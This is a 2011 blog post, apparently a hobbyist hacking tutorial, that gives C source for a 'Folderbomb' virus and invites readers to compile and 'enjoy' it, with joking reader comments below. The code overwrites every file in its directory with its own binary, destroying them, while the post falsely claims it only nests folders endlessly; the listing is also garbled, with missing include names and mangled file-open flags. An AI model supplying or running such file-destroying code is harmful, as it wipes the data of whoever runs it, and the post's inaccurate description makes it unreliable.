Tuesday 19 April 2011

SIMPLE VIRUS IN C-FOLDERBOMB (HACKING)

NOTE: THIS IS FOR EDUCATIONAL PURPOSES ONLY!!! DO NOT USE THIS ON YOURSELF OR A FRIEND!
So first get Dev++ if you dont already have it from the last tutorial. Now open it up and enter this code:
#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_R
DONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)

write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
Now save it then hit "Execute->Compile" and a program will be created to where it was saved. Basically what this does is creates a folder within folder to infinity or until the program is closed.
Now enjoy your virus (but try to stop being such a script kiddie! Just kidding its fine :)).
   

4 comments:

  1. haha ive always wanted to use a virus

    ReplyDelete
  2. Lol infinity you say? I think that no such thing exist :P Just kidding great script by the way

    ReplyDelete
  3. I won't use it on my own comp...OOPS

    ReplyDelete